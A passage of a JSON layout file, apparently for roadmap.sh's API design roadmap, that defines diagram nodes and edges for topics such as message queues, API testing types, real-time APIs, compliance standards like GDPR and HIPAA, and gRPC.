\"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 326,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"75NVxS0iwoQXxOHCkWQxH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1869.069093196163\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Webhooks vs Polling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"X68HXAAV-nKo-V4Fu1o72\"\n      },\n      \"zIndex\": 999,\n      \"width\": 326,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1869.069093196163\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 326,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 326,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X68HXAAV-nKo-V4Fu1o72\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1920.7275369054641\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Batch Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 326,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1920.7275369054641\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 326,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 326,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H22jAI2W5QLL-b1rq-c56\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -497.66906836651873,\n        \"y\": 1941.8678842718575\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rabbit MQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -497.66906836651873,\n        \"y\": 1941.8678842718575\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"boYX1QcJullypfX4sevdy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -499.16906836651884,\n        \"y\": 1996.867884271857\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kafka\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q1yaf-RbHIQsOqfzjn4k4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -499.16906836651884,\n        \"y\": 1996.867884271857\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Wpk4TvxcZOJgAoXjrOsZF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 221.19846699906657,\n        \"y\": 1758.058993623857\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5R9yKfN1vItuv__HgCwP7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 221.19846699906657,\n        \"y\": 1758.058993623857\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JvmW78cDm84GNhq8VEYZp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.69846699906657,\n        \"y\": 1505.4070461854096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unit Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iNsXTtcIHsI_i-mCfjGYn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 247.69846699906657,\n        \"y\": 1505.4070461854096\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qZELS5vw2feS7QfyD7spX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.69846699906657,\n        \"y\": 1559.4070461854096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Integration Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iNsXTtcIHsI_i-mCfjGYn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 247.69846699906657,\n        \"y\": 1559.4070461854096\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6lm3wy9WTAERTqXCn6pFt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.69846699906657,\n        \"y\": 1613.4070461854096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functional Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iNsXTtcIHsI_i-mCfjGYn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 247.69846699906657,\n        \"y\": 1613.4070461854096\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7JNEx_cbqnAx3esvwZMOd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.69846699906657,\n        \"y\": 1667.4070461854096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Load Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iNsXTtcIHsI_i-mCfjGYn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 247.69846699906657,\n        \"y\": 1667.4070461854096\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bEVCT5QGY3uw0kIfAELKh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 248.4735203536439,\n        \"y\": 1861.446054725657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mocking APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iNsXTtcIHsI_i-mCfjGYn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 248.4735203536439,\n        \"y\": 1861.446054725657\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NqeBglhzukVMMEF9p2CXc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 248.4735203536439,\n        \"y\": 1915.446054725657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Contract Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iNsXTtcIHsI_i-mCfjGYn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 248.4735203536439,\n        \"y\": 1915.446054725657\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XD1vDtrRQFbLyKJaD1AlA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -585.469505701316,\n        \"y\": 1876.285812057839\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Error Handling / Retries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -585.469505701316,\n        \"y\": 1876.285812057839\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JE12g5cqnwmgeTle14Vxw\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 35.36181272800661,\n        \"y\": 2095.4915595367556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Real-time APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"At5exN7ZAx2IzY3cTCzHm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 35.36181272800661,\n        \"y\": 2095.4915595367556\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UQ8N7gcVpRLAYXgUNHBt5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 267.72110595703134,\n        \"y\": 2069.2728071916526\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Sockets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iNsXTtcIHsI_i-mCfjGYn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 267.72110595703134,\n        \"y\": 2069.2728071916526\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iNsXTtcIHsI_i-mCfjGYn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 267.72110595703134,\n        \"y\": 2123.2728071916526\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Server Sent Events\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nQpczZUcn-TvrfT80dv0Q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 267.72110595703134,\n        \"y\": 2123.2728071916526\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yvdfoly5WHHTq2Puss355\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -363.31358688509135,\n        \"y\": 2210.5425435400516\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Standards and Compliance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Wpk4TvxcZOJgAoXjrOsZF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -363.31358688509135,\n        \"y\": 2210.5425435400516\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vZxdswGLHCPi5GSuXEcHJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.6112846237921,\n        \"y\": 2102.642324872653\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GDPR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mXCKtLUvwVJkHrpHzOecq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -570.6112846237921,\n        \"y\": 2102.642324872653\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"At5exN7ZAx2IzY3cTCzHm\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -361.55504561899306,\n        \"y\": 2095.4915595367556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Lifecycle Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yvdfoly5WHHTq2Puss355\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -361.55504561899306,\n        \"y\": 2095.4915595367556\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a-_iIE7UdoXzD00fD9MxN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.6112846237921,\n        \"y\": 2156.642324872653\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CCPA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mXCKtLUvwVJkHrpHzOecq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -570.6112846237921,\n        \"y\": 2156.642324872653\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"J0enF8UTVzY3H4n3pbPIF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.6112846237921,\n        \"y\": 2210.642324872653\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PCI DSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mXCKtLUvwVJkHrpHzOecq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -570.6112846237921,\n        \"y\": 2210.642324872653\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W4WwTmgZGnWmiYsB0ezml\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -568.8897926825906,\n        \"y\": 2264.642324872653\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HIPAA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mXCKtLUvwVJkHrpHzOecq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -568.8897926825906,\n        \"y\": 2264.642324872653\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mXCKtLUvwVJkHrpHzOecq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.6112846237921,\n        \"y\": 2318.642324872653\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PII\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"X68HXAAV-nKo-V4Fu1o72\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -570.6112846237921,\n        \"y\": 2318.642324872653\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ETSZIZbfsiSgwpAS6HgGp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -85.13818727199339,\n        \"y\": -164.08481519539623\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 94,\n      \"positionAbsolute\": {\n        \"x\": -85.13818727199339,\n        \"y\": -164.08481519539623\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 94\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 94\n      }\n    },\n    {\n      \"id\": \"PstbOGqR_4C2WWV8CWXes\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -599.3135868850914,\n        \"y\": -176.03181769055132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"3uv48fdglShh8YYF3zRWv\",\n            \"label\": \"Backend Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"ZW1PEheVeJJiIPR08jfCr\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"td_Z-sAuf092awd8U-VNG\",\n            \"label\": \"Full Stack Roadmap\",\n            \"url\": \"https://roadmap.sh/full-stack\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 163,\n      \"positionAbsolute\": {\n        \"x\": -599.3135868850914,\n        \"y\": -176.03181769055132\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 163\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 163\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 158.23571626420664,\n        \"y\": -175.8282364125966\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 158.23571626420664,\n        \"y\": -175.8282364125966\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 171.43909067700685,\n        \"y\": -93.84267299485134\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 171.43909067700685,\n        \"y\": -93.84267299485134\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4fauwiq2CJnzDA7Z9Pmeo\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -139.18102870413122,\n        \"y\": 2429.279985574316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"eYziHRN-gsg9qr8Yddu2K\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -139.18102870413122,\n        \"y\": 2429.279985574316\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eYziHRN-gsg9qr8Yddu2K\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 68.81897129586875,\n        \"y\": 2429.279985574316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps Roadmap\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 68.81897129586875,\n        \"y\": 2429.279985574316\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cV_O7RiFmpoI4f1o8lF4B\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 56.53195030203017,\n        \"y\": 2493.4716162213053\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 94,\n      \"positionAbsolute\": {\n        \"x\": 56.53195030203017,\n        \"y\": 2493.4716162213053\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 94\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 94\n      }\n    },\n    {\n      \"id\": \"1DrqtOwxCuFtWQXQ6ZALp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -198.46804969796983,\n        \"y\": 654.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"gRPC APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MKVcPM2EzAr2_Ieyp9Fu3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -198.46804969796983,\n        \"y\": 654.900748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"JOhjYmVo9geZEMeeRPidh\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"89g6rzK2JcZhJ1MAQra8R\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xMpMq9rxn_DYslWm3_Efz\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"-EP79fa9WRfTgvuq5FRaw\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"1Qdcf_-7xas-XQldfLRjv\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": 